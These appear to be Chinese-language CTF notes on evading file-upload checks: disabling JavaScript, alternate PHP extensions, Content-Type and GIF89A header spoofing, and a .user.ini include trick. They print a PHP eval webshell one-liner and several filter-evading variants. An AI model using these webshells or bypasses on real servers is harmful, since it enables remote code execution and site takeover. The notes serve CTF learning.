前端绕过

[CTFHub] 前端验证

https://www.ctfhub.com/#/skilltree

前端验证有两种解决办法绕过:
1.在浏览器中禁用JavaScript
2.先把文件后缀改成符合上传的后缀,通过burp抓包把后缀改回.php格式再重新发送。

这里从F12可以看到启用了前端JS验证,采用第一种方法绕过,禁用JS。为了方便可以安装一个Chrome扩展,一键启用/禁用JS
禁用JS后再上传php一句话,使用蚁剑连接即可。

黑名单绕过

[SWPUCTF 2021 新生赛] easyupload2.0

https://www.nssctf.cn/problem/423

黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,这里放张表:

语言 可解析后缀
ASP/ASPX asp,aspx,asa,ascx,ashx,asmx,cer,cdx
PHP php,php5,php4,php3,phtml,pht
JSP jsp,jspx,jspa,jsw,jsv,jspf,jtml

第十五届极客大挑战 baby_upload

文件名填 a.php 会被WAF拦截,填 a.php.php 上传成功。

MIME绕过

[CTFHub] MIME验证

https://www.ctfhub.com/#/skilltree

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下:

文件扩展名 MIME-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

这道题只需要通过burp抓包,将 Content-Type 改为 image/png 即可绕过,再使用蚁剑连接即可。

文件头绕过

[CTFHub] 文件头检查

https://www.ctfhub.com/#/skilltree

这道题只允许上传 jpeg jpg png gif 类型的文件,通过burp抓包,将 Content-Type 改为 image/png 或 image/gif,再添加GIF89A文件头即可绕过。

字符绕过

正常的一句话木马:<?php eval($_POST['pass']); ?>

  • 如果过滤了 php<?php,可以使用短标签绕过,即 <?= eval($_POST['pass']); ?>
  • 如果过滤了 [ ],可以使用 { }绕过,即 <?php eval($_POST{'pass'}); ?>
  • 如果过滤了 ',可以不使用单引号,语句正常执行,即 <?= eval($_POST[pass]); ?>
  • 如果过滤了 <?,可以用script标签绕过,即 <script language='php'>eval($_POST['pass']);</script>

.user.ini

1
2
auto_append_file=yjh.jpg     //相当于在每个php文件尾加上 include('yjh.jpg')
auto_prepend_file=yjh.jpg //相当于文件头加上 include('yjh.jpg')

利用.user.ini的方法:保证三个文件(.user.ini、yjh.jpg、xx.php)在同一目录下,再执行该目录下的php文件。

[SUCTF 2019] CheckIn

https://buuoj.cn/challenges#[SUCTF%202019]CheckIn